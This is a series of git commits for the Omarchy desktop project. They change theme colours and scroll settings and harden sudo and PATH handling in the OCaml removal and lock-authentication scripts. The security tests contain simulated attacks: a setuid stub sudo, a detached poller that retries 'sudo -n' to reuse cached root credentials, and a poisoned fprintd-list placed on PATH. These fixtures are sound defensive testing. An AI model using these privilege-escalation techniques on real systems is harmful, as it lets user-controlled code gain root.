"statusBarItem.hoverBackground": "{{ muted }}60", "statusBarItem.hoverForeground": "{{ foreground }}", - "statusBarItem.prominentForeground": "{{ foreground }}", + "statusBarItem.prominentForeground": "{{ background }}", "statusBarItem.prominentBackground": "{{ accent }}", "statusBarItem.prominentHoverBackground": "{{ accent }}80", + "statusBarItem.prominentHoverForeground": "{{ background }}", "statusBarItem.remoteBackground": "{{ accent }}", "statusBarItem.remoteForeground": "{{ background }}", "statusBarItem.remoteHoverBackground": "{{ accent }}80", + "statusBarItem.remoteHoverForeground": "{{ background }}", "statusBarItem.errorBackground": "{{ red }}", "statusBarItem.errorForeground": "{{ background }}", "statusBarItem.errorHoverBackground": "{{ red }}80", + "statusBarItem.errorHoverForeground": "{{ background }}", "statusBarItem.warningBackground": "{{ yellow }}", "statusBarItem.warningForeground": "{{ background }}", "statusBarItem.warningHoverBackground": "{{ yellow }}80", + "statusBarItem.warningHoverForeground": "{{ background }}", "statusBarItem.compactHoverBackground": "{{ muted }}", "statusBarItem.focusBorder": "{{ accent }}", From eb8fcdd0b95a27a596be0668bcb7c94a92aaf7e9 Mon Sep 17 00:00:00 2001 From: Ivan Skodje <6776092+ivanskodje@users.noreply.github.com> Date: Thu, 3 Sep 2026 12:49:50 +0200 Subject: [PATCH 197/336] Give the current line a visible highlight in every theme --- default/themed/vscode-theme.json.tpl | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/default/themed/vscode-theme.json.tpl b/default/themed/vscode-theme.json.tpl index 30e54bbe..e8a37857 100644 --- a/default/themed/vscode-theme.json.tpl +++ b/default/themed/vscode-theme.json.tpl @@ -230,8 +230,8 @@ "searchEditor.findMatchBackground": "{{ yellow }}40", "searchEditor.findMatchBorder": "{{ yellow }}", "editor.hoverHighlightBackground": "{{ accent }}20", - "editor.lineHighlightBackground": "{{ background }}60", - "editor.lineHighlightBorder": "{{ background }}00", + "editor.lineHighlightBackground": "{{ mix background foreground 6% }}", + "editor.lineHighlightBorder": "{{ mix background foreground 30% }}", "editorLink.activeForeground": "{{ blue }}", "editor.rangeHighlightBackground": "{{ accent }}10", "editor.rangeHighlightBorder": "{{ accent }}20", From 6d892d4315ae68dc85ea10329f63f250a5af4f4e Mon Sep 17 00:00:00 2001 From: Ivan Skodje <6776092+ivanskodje@users.noreply.github.com> Date: Thu, 3 Sep 2026 15:55:15 +0200 Subject: [PATCH 198/336] Give invisible hover and active states a visible value --- default/themed/vscode-theme.json.tpl | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/default/themed/vscode-theme.json.tpl b/default/themed/vscode-theme.json.tpl index 0897ca05..ce52ae93 100644 --- a/default/themed/vscode-theme.json.tpl +++ b/default/themed/vscode-theme.json.tpl @@ -61,7 +61,7 @@ "textPreformat.background": "{{ background }}", "textSeparator.foreground": "{{ muted }}", - "toolbar.hoverBackground": "{{ background }}", + "toolbar.hoverBackground": "{{ muted }}60", "toolbar.activeBackground": "{{ muted }}", "button.background": "{{ accent }}", @@ -69,7 +69,7 @@ "button.hoverBackground": "{{ blue }}", "button.secondaryForeground": "{{ foreground }}", "button.secondaryBackground": "{{ muted }}", - "button.secondaryHoverBackground": "{{ background }}", + "button.secondaryHoverBackground": "{{ muted }}80", "button.border": "{{ accent }}20", "checkbox.background": "{{ background }}", "checkbox.foreground": "{{ foreground }}", @@ -135,7 +135,7 @@ "tree.indentGuidesStroke": "{{ muted }}", "tree.inactiveIndentGuidesStroke": "{{ muted }}60", "tree.tableColumnsBorder": "{{ muted }}", - "tree.tableOddRowsBackground": "{{ background }}40", + "tree.tableOddRowsBackground": "{{ muted }}20", "activityBar.background": "{{ background }}", "activityBar.dropBorder": "{{ accent }}", @@ -145,7 +145,7 @@ "activityBarBadge.background": "{{ accent }}", "activityBarBadge.foreground": "{{ background }}", "activityBar.activeBorder": "{{ accent }}", - "activityBar.activeBackground": "{{ background }}40", + "activityBar.activeBackground": "{{ muted }}80", "sideBar.background": "{{ background }}", "sideBar.foreground": "{{ foreground }}", @@ -526,7 +526,7 @@ "keybindingLabel.border": "{{ muted }}", "keybindingLabel.bottomBorder": "{{ muted }}", "keybindingTable.headerBackground": "{{ background }}", - "keybindingTable.rowsBackground": "{{ background }}40", + "keybindingTable.rowsBackground": "{{ muted }}20", "terminal.background": "{{ background }}", "terminal.foreground": "{{ foreground }}", @@ -623,7 +623,7 @@ "settings.checkboxBackground": "{{ background }}", "settings.checkboxForeground": "{{ foreground }}", "settings.checkboxBorder": "{{ muted }}", - "settings.rowHoverBackground": "{{ background }}", + "settings.rowHoverBackground": "{{ muted }}60", "settings.textInputBackground": "{{ background }}", "settings.textInputForeground": "{{ foreground }}", "settings.textInputBorder": "{{ muted }}", @@ -704,12 +704,12 @@ "notebook.editorBackground": "{{ background }}", "notebook.cellBorderColor": "{{ muted }}40", - "notebook.cellHoverBackground": "{{ background }}40", + "notebook.cellHoverBackground": "{{ muted }}40", "notebook.cellInsertionIndicator": "{{ accent }}", "notebook.cellStatusBarItemHoverBackground": "{{ muted }}", "notebook.cellToolbarSeparator": "{{ muted }}", "notebook.cellEditorBackground": "{{ background }}", - "notebook.focusedCellBackground": "{{ background }}60", + "notebook.focusedCellBackground": "{{ muted }}80", "notebook.focusedCellBorder": "{{ accent }}", "notebook.focusedEditorBorder": "{{ accent }}", "notebook.inactiveFocusedCellBorder": "{{ muted }}", From 977e0fcdc2ca46b2fbf7dbeab6bd5b29b49b1398 Mon Sep 17 00:00:00 2001 From: Macho0x <187364057+Macho0x@users.noreply.github.com> Date: Fri, 4 Sep 2026 14:32:41 +0700 Subject: [PATCH 199/336] Make VS Code-family editors reload the Omarchy theme when it changes --- bin/omarchy-theme-set-vscode | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) diff --git a/bin/omarchy-theme-set-vscode b/bin/omarchy-theme-set-vscode index c87b6bb8..65178099 100755 --- a/bin/omarchy-theme-set-vscode +++ b/bin/omarchy-theme-set-vscode @@ -68,8 +68,17 @@ install_generated_extension() { ui_theme="vs-dark" fi + # VS Code caches loaded color themes in memory and only rebuilds a registry + # entry when the providing extension changes, so derive the version from the + # theme content: identical palettes keep the cache, new palettes invalidate it. + GENERATED_EXTENSION_VERSION="1.0.$(cksum "$GENERATED_THEME" | cut -d' ' -f1)" + mkdir -p "$ext_dir/themes" - ln -sfn "$GENERATED_THEME" "$ext_dir/themes/omarchy-color-theme.json" + # A real file rather than a symlink into current/theme: the _watch watcher + # below needs a same-inode rewrite to fire, and a symlink would dangle while + # omarchy-theme-set swaps current/theme via rm + mv. + rm -f "$ext_dir/themes/omarchy-color-theme.json" + cat "$GENERATED_THEME" >"$ext_dir/themes/omarchy-color-theme.json" cat > "$ext_dir/package.json" < Date: Fri, 4 Sep 2026 17:59:32 +0200 Subject: [PATCH 200/336] Give foot its own touchpad scroll factor (#9793) foot only applies scrollback.multiplier to discrete wheel clicks, so precise touchpad scrolling ignores it and crawls at the group's 1.5 factor. Split foot out at 2.0 to match how the other terminals feel. Co-authored-by: Claude Fable 5 --- config/hypr/input.lua | 3 ++- default/hypr/input.lua | 4 +++- 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/config/hypr/input.lua b/config/hypr/input.lua index d20be92a..d06e05c7 100644 --- a/config/hypr/input.lua +++ b/config/hypr/input.lua @@ -45,7 +45,8 @@ -- }) -- App-specific touchpad scroll speeds. --- o.window("(Alacritty|kitty|foot)", { scroll_touchpad = 1.5 }) +-- o.window("(Alacritty|kitty)", { scroll_touchpad = 1.5 }) +-- o.window("foot", { scroll_touchpad = 2.0 }) -- o.window("com.mitchellh.ghostty", { scroll_touchpad = 0.2 }) -- Enable touchpad gestures for changing workspaces. diff --git a/default/hypr/input.lua b/default/hypr/input.lua index bdcd384f..a87ad994 100644 --- a/default/hypr/input.lua +++ b/default/hypr/input.lua @@ -75,5 +75,7 @@ hl.config({ }) -- Scroll nicely in the terminal. -o.window("(Alacritty|kitty|foot)", { scroll_touchpad = 1.5 }) +o.window("(Alacritty|kitty)", { scroll_touchpad = 1.5 }) +-- foot only applies its scrollback multiplier to wheel clicks, not precise touchpad scrolling. +o.window("foot", { scroll_touchpad = 2.0 }) o.window("com.mitchellh.ghostty", { scroll_touchpad = 0.2 }) From 1b7301916bc0ce96f134cdbfdaed0715f57256f4 Mon Sep 17 00:00:00 2001 From: Erik Melton Date: Fri, 4 Sep 2026 20:18:48 +0200 Subject: [PATCH 201/336] Secure OCaml removal sudo boundary --- bin/omarchy-remove-dev-env | 36 ++- .../remove-dev-env-sudo-security-test.sh | 251 ++++++++++++++++++ 2 files changed, 286 insertions(+), 1 deletion(-) create mode 100755 test/shell.d/remove-dev-env-sudo-security-test.sh diff --git a/bin/omarchy-remove-dev-env b/bin/omarchy-remove-dev-env index a24e7f9e..de27eec5 100755 --- a/bin/omarchy-remove-dev-env +++ b/bin/omarchy-remove-dev-env @@ -9,6 +9,35 @@ if [[ -z $1 ]]; then exit 1 fi +cleanup_ocaml_sudo_credentials() { + local status=$? + trap - EXIT HUP INT TERM + + if ! /usr/bin/sudo -k >/dev/null 2>&1; then + echo "Failed to invalidate sudo credentials after OCaml removal." >&2 + (( status != 0 )) || status=1 + fi + + exit "$status" +} + +begin_ocaml_sudo_boundary() { + trap cleanup_ocaml_sudo_credentials EXIT + trap 'exit 129' HUP + trap 'exit 130' INT + trap 'exit 143' TERM + + /usr/bin/sudo -k >/dev/null || { + echo "Unable to start OCaml removal with a cold sudo credential state." >&2 + exit 1 + } + + if ! /usr/bin/sudo -N -V >/dev/null 2>&1; then + echo "This sudo does not support --no-update; refusing to remove OCaml." >&2 + exit 1 + fi +} + remove_php() { omarchy-pkg-drop php composer php-sqlite xdebug } @@ -87,10 +116,15 @@ dotnet) mise rm -g dotnet ;; ocaml) + begin_ocaml_sudo_boundary + echo -e "Removing OCaml...\n" opam switch remove default -y 2>/dev/null || true rm -rf ~/.opam 2>/dev/null || true - sudo rm -f /usr/local/bin/opam 2>/dev/null || true + if ! /usr/bin/sudo -N -- /usr/bin/rm -f /usr/local/bin/opam; then + echo "Failed to remove the system opam launcher." >&2 + exit 1 + fi ;; clojure) echo -e "Removing Clojure...\n" diff --git a/test/shell.d/remove-dev-env-sudo-security-test.sh b/test/shell.d/remove-dev-env-sudo-security-test.sh new file mode 100755 index 00000000..b5e7959d --- /dev/null +++ b/test/shell.d/remove-dev-env-sudo-security-test.sh @@ -0,0 +1,251 @@ +#!/bin/bash + +set -euo pipefail + +source "$(dirname "$0")/base-test.sh" + +require_command gcc +require_command setpriv +require_command unshare + +if [[ ${OMARCHY_REMOVE_DEV_ENV_SECURITY_NS:-0} != 1 ]]; then + outer_uid=$(id -u) + outer_gid=$(id -g) + subuid=$(awk -F: -v user="$(id -un)" '$1 == user { print $2; exit }' /etc/subuid) + subgid=$(awk -F: -v user="$(id -un)" '$1 == user { print $2; exit }' /etc/subgid) + + if [[ -z $subuid || -z $subgid ]]; then + pass "no subordinate uid/gid range; skipping OCaml sudo namespace proof" + exit 0 + fi + + exec unshare --user --mount \ + --map-users "0:$outer_uid:1" --map-users "1:$subuid:65536" \ + --map-groups "0:$outer_gid:1" --map-groups "1:$subgid:65536" \ + env OMARCHY_REMOVE_DEV_ENV_SECURITY_NS=1 bash "$0" +fi + +[[ $(id -u) == 0 ]] || fail "OCaml sudo proof did not enter its root namespace" + +test_tmp=$(mktemp -d) +test_home=$test_tmp/home +stub_bin=$test_home/bin +event_log=$test_tmp/events +token=$test_tmp/sudo-token +protected_target=$test_tmp/root-reused +active_session="" + +cleanup() { + local status=$? + trap - EXIT + + if [[ $active_session =~ ^[1-9][0-9]*$ ]]; then + kill -TERM -- "-$active_session" 2>/dev/null || kill -TERM "$active_session" 2>/dev/null || true + kill -KILL -- "-$active_session" 2>/dev/null || kill -KILL "$active_session" 2>/dev/null || true + fi + + if [[ -s $test_home/attack.pid ]]; then + attack_pid=$(<"$test_home/attack.pid") + kill "$attack_pid" 2>/dev/null || true + fi + + umount -l /usr/bin/sudo 2>/dev/null || true + umount -l "$test_tmp" 2>/dev/null || true + rm -rf "$test_tmp" 2>/dev/null || true + exit "$status" +} +trap cleanup EXIT + +mount -t tmpfs -o mode=0755,suid tmpfs "$test_tmp" +mkdir -p "$stub_bin" +touch "$event_log" + +cat >"$test_tmp/sudo.c" <<'C' +#include +#include +#include +#include +#include +#include + +static const char *required(const char *name) { + const char *value = getenv(name); + if (!value || !*value) exit(125); + return value; +} + +static void event(const char *message) { + int fd = open(required("TEST_EVENT_LOG"), O_WRONLY | O_APPEND); + if (fd < 0) exit(125); + dprintf(fd, "%s\n", message); + close(fd); +} + +int main(int argc, char **argv) { + const char *token = required("TEST_SUDO_TOKEN"); + + if (geteuid() != 0) return 125; + + if (argc == 2 && strcmp(argv[1], "-k") == 0) { + event("invalidate"); + if (unlink(token) && errno != ENOENT) return 125; + return 0; + } + + if (argc == 3 && strcmp(argv[1], "-N") == 0 && strcmp(argv[2], "-V") == 0) { + event("probe-no-update"); + return getenv("TEST_SUDO_NO_N") ? 2 : 0; + } + + if (argc == 6 && strcmp(argv[1], "-N") == 0 && strcmp(argv[2], "--") == 0 && + strcmp(argv[3], "/usr/bin/rm") == 0 && strcmp(argv[4], "-f") == 0 && + strcmp(argv[5], "/usr/local/bin/opam") == 0) { + event("remove-opam-no-update"); + return getenv("TEST_RM_FAIL") ? 83 : 0; + } + + if (argc >= 3 && strcmp(argv[1], "-n") == 0) { + if (access(token, F_OK) == 0) { + int fd = open(required("TEST_PROTECTED_TARGET"), O_WRONLY | O_CREAT | O_TRUNC, 0600); + if (fd < 0) return 125; + close(fd); + event("attack-reused-root"); + return 0; + } + event("attack-denied"); + return 1; + } + + event("unexpected-sudo"); + return 124; +} +C + +gcc -O2 -Wall -Wextra -o "$test_tmp/sudo" "$test_tmp/sudo.c" +chown 0:0 "$test_tmp/sudo" +chmod 4755 "$test_tmp/sudo" +mount --bind "$test_tmp/sudo" /usr/bin/sudo + +cat >"$stub_bin/attack" <<'STUB' +#!/bin/bash + +printf '%s\n' "$$" >"$HOME/attack.pid" +for _ in {1..200}; do + if /usr/bin/sudo -n -- /usr/bin/true 2>/dev/null; then + exit 0 + fi + /usr/bin/sleep 0.005 +done +STUB + +cat >"$stub_bin/opam" <<'STUB' +#!/bin/bash + +printf 'opam-ran\n' >>"$TEST_EVENT_LOG" +/usr/bin/setsid --fork "$HOME/bin/attack" >/dev/null 2>&1 + +if [[ ${TEST_OPAM_BLOCK:-0} == 1 ]]; then + printf 'ready\n' >"$HOME/ready" + trap 'exit 143' TERM + while :; do /usr/bin/sleep 0.05; done +fi +STUB + +cat >"$stub_bin/mise" <<'STUB' +#!/bin/bash +printf 'mise:%s\n' "$*" >>"$TEST_EVENT_LOG" +STUB + +chmod 0755 "$stub_bin"/* +chown -R 1000:1000 "$test_home" +chown 1000:1000 "$event_log" + +base_env=( + HOME="$test_home" + USER=test + LOGNAME=test + PATH="$stub_bin:/usr/bin:/bin" + TEST_EVENT_LOG="$event_log" + TEST_SUDO_TOKEN="$token" + TEST_PROTECTED_TARGET="$protected_target" +) + +run_user() { + setpriv --reuid=1000 --regid=1000 --clear-groups env -i "${base_env[@]}" "$@" +} + +reset_case() { + if [[ -s $test_home/attack.pid ]]; then + attack_pid=$(<"$test_home/attack.pid") + kill "$attack_pid" 2>/dev/null || true + fi + : >"$event_log" + chown 1000:1000 "$event_log" + rm -f "$token" "$protected_target" "$test_home/attack.pid" "$test_home/ready" +} + +wait_for_attack() { + for _ in {1..240}; do + grep -q '^attack-' "$event_log" 2>/dev/null && return 0 + sleep 0.005 + done + return 1 +} + +reset_case +touch "$token" +chown 0:0 "$token" +run_user bash "$ROOT/bin/omarchy-remove-dev-env" ocaml +wait_for_attack || fail "hostile opam did not exercise the detached sudo poller" +[[ ! -e $protected_target ]] || fail "hostile opam reused root authorization" +[[ ! -e $token ]] || fail "OCaml removal left a reusable sudo credential" +grep -Fxq 'remove-opam-no-update' "$event_log" || fail "OCaml removal did not use sudo --no-update" +! grep -Fxq 'attack-reused-root' "$event_log" || fail "OCaml removal published reusable authorization" +pass "OCaml removal keeps user-controlled opam outside reusable sudo authorization" + +reset_case +if run_user env TEST_SUDO_NO_N=1 bash "$ROOT/bin/omarchy-remove-dev-env" ocaml; then + fail "OCaml removal accepted sudo without --no-update support" +fi +! grep -Fxq 'opam-ran' "$event_log" || fail "unsupported sudo reached user-controlled opam" +pass "OCaml removal validates --no-update support before running opam" + +reset_case +if run_user env TEST_RM_FAIL=1 bash "$ROOT/bin/omarchy-remove-dev-env" ocaml; then + fail "OCaml removal ignored root cleanup failure" +fi +[[ ! -e $token ]] || fail "failed OCaml cleanup left a reusable sudo credential" +pass "OCaml cleanup failures propagate and invalidate credentials" + +reset_case +touch "$token" +chown 0:0 "$token" +setpriv --reuid=1000 --regid=1000 --clear-groups \ + env -i "${base_env[@]}" TEST_OPAM_BLOCK=1 \ + /usr/bin/setsid bash "$ROOT/bin/omarchy-remove-dev-env" ocaml & +session=$! +active_session=$session + +for _ in {1..200}; do + [[ -e $test_home/ready ]] && break + sleep 0.005 +done +[[ -e $test_home/ready ]] || fail "OCaml signal fixture did not become ready" +kill -TERM -- "-$session" 2>/dev/null || kill -TERM "$session" +set +e +wait "$session" +signal_status=$? +set -e +active_session="" +(( signal_status != 0 )) || fail "terminated OCaml removal unexpectedly succeeded" +[[ ! -e $token ]] || fail "terminated OCaml removal left a reusable sudo credential" +[[ ! -e $protected_target ]] || fail "detached opam child reused root after termination" +pass "OCaml removal invalidates credentials on signals" + +reset_case +run_user bash "$ROOT/bin/omarchy-remove-dev-env" node +! grep -Eq '^(invalidate|probe-no-update|unexpected-sudo)$' "$event_log" || + fail "non-OCaml removal crossed the sudo boundary" +grep -Fxq 'mise:uninstall node --all' "$event_log" || fail "Node removal did not run" +grep -Fxq 'mise:rm -g node' "$event_log" || fail "Node removal did not clear the global version" +pass "non-OCaml removals do not inspect or invalidate sudo credentials" From 73a09695f98c7d4c95d88040b5876c858cc5e02e Mon Sep 17 00:00:00 2001 From: Erik Melton Date: Fri, 4 Sep 2026 20:27:53 +0200 Subject: [PATCH 202/336] Strengthen OCaml sudo security test --- .../remove-dev-env-sudo-security-test.sh | 31 +++++++++++++------ 1 file changed, 22 insertions(+), 9 deletions(-) diff --git a/test/shell.d/remove-dev-env-sudo-security-test.sh b/test/shell.d/remove-dev-env-sudo-security-test.sh index b5e7959d..27bb3f8b 100755 --- a/test/shell.d/remove-dev-env-sudo-security-test.sh +++ b/test/shell.d/remove-dev-env-sudo-security-test.sh @@ -8,24 +8,27 @@ require_command gcc require_command setpriv require_command unshare -if [[ ${OMARCHY_REMOVE_DEV_ENV_SECURITY_NS:-0} != 1 ]]; then +if [[ ${OMARCHY_REMOVE_DEV_ENV_SECURITY_NS:-0} != "1" ]]; then outer_uid=$(id -u) outer_gid=$(id -g) - subuid=$(awk -F: -v user="$(id -un)" '$1 == user { print $2; exit }' /etc/subuid) - subgid=$(awk -F: -v user="$(id -un)" '$1 == user { print $2; exit }' /etc/subgid) + outer_user=$(id -un) + subuid_entry=$(awk -F: -v user="$outer_user" -v uid="$outer_uid" '($1 == user || $1 == uid) && $2 ~ /^[0-9]+$/ && $3 ~ /^[0-9]+$/ && $3 >= 1000 { print $2 ":" $3; exit }' /etc/subuid) + subgid_entry=$(awk -F: -v user="$outer_user" -v uid="$outer_uid" '($1 == user || $1 == uid) && $2 ~ /^[0-9]+$/ && $3 ~ /^[0-9]+$/ && $3 >= 1000 { print $2 ":" $3; exit }' /etc/subgid) - if [[ -z $subuid || -z $subgid ]]; then - pass "no subordinate uid/gid range; skipping OCaml sudo namespace proof" + if [[ -z $subuid_entry || -z $subgid_entry ]]; then + pass "no subordinate uid/gid range covering test user 1000; skipping OCaml sudo namespace proof" exit 0 fi + IFS=: read -r subuid subuid_count <<<"$subuid_entry" + IFS=: read -r subgid subgid_count <<<"$subgid_entry" exec unshare --user --mount \ - --map-users "0:$outer_uid:1" --map-users "1:$subuid:65536" \ - --map-groups "0:$outer_gid:1" --map-groups "1:$subgid:65536" \ + --map-users "0:$outer_uid:1" --map-users "1:$subuid:$subuid_count" \ + --map-groups "0:$outer_gid:1" --map-groups "1:$subgid:$subgid_count" \ env OMARCHY_REMOVE_DEV_ENV_SECURITY_NS=1 bash "$0" fi -[[ $(id -u) == 0 ]] || fail "OCaml sudo proof did not enter its root namespace" +(( EUID == 0 )) || fail "OCaml sudo proof did not enter its root namespace" test_tmp=$(mktemp -d) test_home=$test_tmp/home @@ -144,7 +147,7 @@ cat >"$stub_bin/opam" <<'STUB' printf 'opam-ran\n' >>"$TEST_EVENT_LOG" /usr/bin/setsid --fork "$HOME/bin/attack" >/dev/null 2>&1 -if [[ ${TEST_OPAM_BLOCK:-0} == 1 ]]; then +if [[ ${TEST_OPAM_BLOCK:-0} == "1" ]]; then printf 'ready\n' >"$HOME/ready" trap 'exit 143' TERM while :; do /usr/bin/sleep 0.05; done @@ -192,6 +195,12 @@ wait_for_attack() { return 1 } +assert_ocaml_invalidations() { + local context=$1 invalidations + invalidations=$(grep -Fxc 'invalidate' "$event_log" || true) + (( invalidations == 2 )) || fail "$context did not invalidate sudo credentials before and after OCaml removal (saw $invalidations invalidations)" +} + reset_case touch "$token" chown 0:0 "$token" @@ -199,6 +208,7 @@ run_user bash "$ROOT/bin/omarchy-remove-dev-env" ocaml wait_for_attack || fail "hostile opam did not exercise the detached sudo poller" [[ ! -e $protected_target ]] || fail "hostile opam reused root authorization" [[ ! -e $token ]] || fail "OCaml removal left a reusable sudo credential" +assert_ocaml_invalidations "successful OCaml removal" grep -Fxq 'remove-opam-no-update' "$event_log" || fail "OCaml removal did not use sudo --no-update" ! grep -Fxq 'attack-reused-root' "$event_log" || fail "OCaml removal published reusable authorization" pass "OCaml removal keeps user-controlled opam outside reusable sudo authorization" @@ -208,6 +218,7 @@ if run_user env TEST_SUDO_NO_N=1 bash "$ROOT/bin/omarchy-remove-dev-env" ocaml; fail "OCaml removal accepted sudo without --no-update support" fi ! grep -Fxq 'opam-ran' "$event_log" || fail "unsupported sudo reached user-controlled opam" +assert_ocaml_invalidations "unsupported sudo exit" pass "OCaml removal validates --no-update support before running opam" reset_case @@ -215,6 +226,7 @@ if run_user env TEST_RM_FAIL=1 bash "$ROOT/bin/omarchy-remove-dev-env" ocaml; th fail "OCaml removal ignored root cleanup failure" fi [[ ! -e $token ]] || fail "failed OCaml cleanup left a reusable sudo credential" +assert_ocaml_invalidations "failed OCaml cleanup" pass "OCaml cleanup failures propagate and invalidate credentials" reset_case @@ -240,6 +252,7 @@ active_session="" (( signal_status != 0 )) || fail "terminated OCaml removal unexpectedly succeeded" [[ ! -e $token ]] || fail "terminated OCaml removal left a reusable sudo credential" [[ ! -e $protected_target ]] || fail "detached opam child reused root after termination" +assert_ocaml_invalidations "terminated OCaml removal" pass "OCaml removal invalidates credentials on signals" reset_case From 70047956fac8bdfe36aabb9dea82b4eee50e1b2c Mon Sep 17 00:00:00 2001 From: Mehmet Ince Date: Fri, 4 Sep 2026 19:19:18 +0100 Subject: [PATCH 203/336] Harden lock authentication command lookup Keep the target user's local bin on user-scoped upgrade paths while giving privileged lock and firewall helpers only root-owned search directories. Pin the lock helper's root PATH and fprintd-list executable, with regression coverage for each defense independently. Reported-by: Rooke Poole --- bin/omarchy-apply-lock | 9 +- bin/omarchy-upgrade-to-quattro | 9 +- test/shell.d/apply-lock-test.sh | 206 ++++++++++++++++++++++++ test/shell.d/upgrade-to-quattro-test.sh | 46 +++++- 4 files changed, 262 insertions(+), 8 deletions(-) create mode 100644 test/shell.d/apply-lock-test.sh diff --git a/bin/omarchy-apply-lock b/bin/omarchy-apply-lock index 9b97c0db..5bb261cb 100755 --- a/bin/omarchy-apply-lock +++ b/bin/omarchy-apply-lock @@ -6,6 +6,12 @@ set -e +# Install and upgrade callers can start this helper as root. Ignore their PATH +# so optional commands never fall through to a user-writable directory. +if (( EUID == 0 )); then + export PATH=/usr/share/omarchy/bin:/usr/local/bin:/usr/bin:/bin +fi + target_user=${OMARCHY_INSTALL_USER:-${SUDO_USER:-}} if [[ -z $target_user && -n ${PKEXEC_UID:-} ]]; then target_user=$(getent passwd "$PKEXEC_UID" | cut -d: -f1) @@ -34,7 +40,8 @@ auth required pam_faillock.so authsucc account include system-local-login EOF -if omarchy-cmd-present fprintd-list && fprintd-list "$target_user" 2>/dev/null | grep -qi finger; then +if [[ -x /usr/bin/fprintd-list ]] && + /usr/bin/fprintd-list "$target_user" 2>/dev/null | grep -qi finger; then echo "Configuring lock screen fingerprint authentication..." as_root tee /etc/pam.d/omarchy-lock-fingerprint >/dev/null <<'EOF' #%PAM-1.0 diff --git a/bin/omarchy-upgrade-to-quattro b/bin/omarchy-upgrade-to-quattro index 2e9bd759..a4caa7fe 100755 --- a/bin/omarchy-upgrade-to-quattro +++ b/bin/omarchy-upgrade-to-quattro @@ -175,7 +175,10 @@ target_home=$(getent passwd "$target_user" | cut -d: -f6) [[ -n $target_home && -d $target_home ]] || fail "Home directory for '$target_user' was not found." target_uid=$(id -u "$target_user") target_runtime_dir="/run/user/$target_uid" -package_path="/usr/share/omarchy/bin:/usr/local/bin:/usr/bin:/bin:$target_home/.local/bin" +# User-local commands are needed only after dropping to the target user. Never +# expose their search path to commands run through as_root. +root_path=/usr/share/omarchy/bin:/usr/local/bin:/usr/bin:/bin +package_path="$root_path:$target_home/.local/bin" as_root() { if (( EUID == 0 )); then @@ -661,7 +664,7 @@ configure_lock_authentication() { as_root env \ OMARCHY_INSTALL_USER="$target_user" \ OMARCHY_PATH=/usr/share/omarchy \ - PATH="$package_path" \ + PATH="$root_path" \ "$apply_lock" } @@ -1287,7 +1290,7 @@ apply_firewall_defaults() { fi log "Applying Omarchy firewall defaults" - as_root env OMARCHY_PATH=/usr/share/omarchy PATH="$package_path" \ + as_root env OMARCHY_PATH=/usr/share/omarchy PATH="$root_path" \ bash -euo pipefail "$firewall_script" || warn "Could not apply firewall defaults; run 'sudo bash $firewall_script' after reboot." } diff --git a/test/shell.d/apply-lock-test.sh b/test/shell.d/apply-lock-test.sh new file mode 100644 index 00000000..5e7170cf --- /dev/null +++ b/test/shell.d/apply-lock-test.sh @@ -0,0 +1,206 @@ +#!/bin/bash + +set -euo pipefail + +source "$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)/base-test.sh" + +apply_lock="$ROOT/bin/omarchy-apply-lock" + +root_path_guard=$(awk ' + /^if \(\( EUID == 0 \)\); then$/ { inside = 1 } + inside { print } + inside && /^fi$/ { exit } +' "$apply_lock") +grep -Fx ' export PATH=/usr/share/omarchy/bin:/usr/local/bin:/usr/bin:/bin' <<<"$root_path_guard" >/dev/null || + fail "the root lock helper replaces its inherited command path" +if grep -E '(\.local/bin|target_user|target_home)' <<<"$root_path_guard" >/dev/null; then + fail "the root lock helper does not retain a user-controlled command directory" +fi +pass "the root lock helper uses only trusted command directories" + +grep -F '[[ -x /usr/bin/fprintd-list ]]' "$apply_lock" >/dev/null || + fail "the lock helper checks the trusted fprintd-list executable" +grep -F '/usr/bin/fprintd-list "$target_user"' "$apply_lock" >/dev/null || + fail "the lock helper invokes fprintd-list by its trusted absolute path" +if grep -F 'omarchy-cmd-present fprintd-list' "$apply_lock" >/dev/null || + grep -E '(^|[[:space:];&|])fprintd-list([[:space:]]|$)' "$apply_lock" >/dev/null || + grep -E 'command[[:space:]]+-v[[:space:]]+fprintd-list' "$apply_lock" >/dev/null; then + fail "the lock helper does not resolve fprintd-list through PATH" +fi +pass "the lock helper pins fprintd-list to its packaged system path" + +# Exercise the helper as real root when the suite already has it, or as root in +# an unprivileged user namespace otherwise. A hardened kernel can disable user +# namespaces, so preserve the static coverage above and skip only this probe. +root_runner=() +root_runtime_available=1 +if (( EUID != 0 )); then + if command -v unshare >/dev/null && unshare --user --map-root-user true 2>/dev/null; then + root_runner=(unshare --user --map-root-user) + else + root_runtime_available=0 + fi +fi + +if (( ! root_runtime_available )); then + pass "no unprivileged user namespace; skipping the root lock-helper lookup matrix" + exit 0 +fi + +# Retarget the two PAM files, the trusted fprintd-list binary, and the final +# shell status query in copies under this scratch directory. The production +# files and service stay untouched even when this suite itself runs as root. +test_tmp=$(mktemp -d) +trap 'rm -rf "$test_tmp"' EXIT + +poison_bin="$test_tmp/poison-bin" +trusted_root_bin="$test_tmp/trusted-root-bin" +trusted_fprintd="$test_tmp/trusted-fprintd-list" +password_pam="$test_tmp/omarchy-lock-password" +fingerprint_pam="$test_tmp/omarchy-lock-fingerprint" +attack_marker="$test_tmp/user-fprintd-list-ran" +trusted_uid="$test_tmp/trusted-fprintd-list.uid" +trusted_args="$test_tmp/trusted-fprintd-list.args" +attack_args="$test_tmp/user-fprintd-list.args" +patched_helper="$test_tmp/omarchy-apply-lock-patched" +absolute_only_helper="$test_tmp/omarchy-apply-lock-absolute-only" +root_path_only_helper="$test_tmp/omarchy-apply-lock-root-path-only" +unprotected_helper="$test_tmp/omarchy-apply-lock-unprotected" +target_user=omarchy-regression-user +mkdir -p "$poison_bin" "$trusted_root_bin" + +# The runtime copy pins to this isolated root path. It contains every bare +# command the exercised helper needs, but deliberately no fprintd-list. +for helper in grep rm tee; do + ln -s "/usr/bin/$helper" "$trusted_root_bin/$helper" +done + +export TEST_ATTACK_ARGS="$attack_args" +export TEST_ATTACK_MARKER="$attack_marker" +export TEST_TRUSTED_ARGS="$trusted_args" +export TEST_TRUSTED_UID="$trusted_uid" + +cat >"$trusted_fprintd" <<'EOF' +#!/bin/bash + +printf '%s\n' "$EUID" >"$TEST_TRUSTED_UID" +printf '%s\n' "$*" >"$TEST_TRUSTED_ARGS" +echo 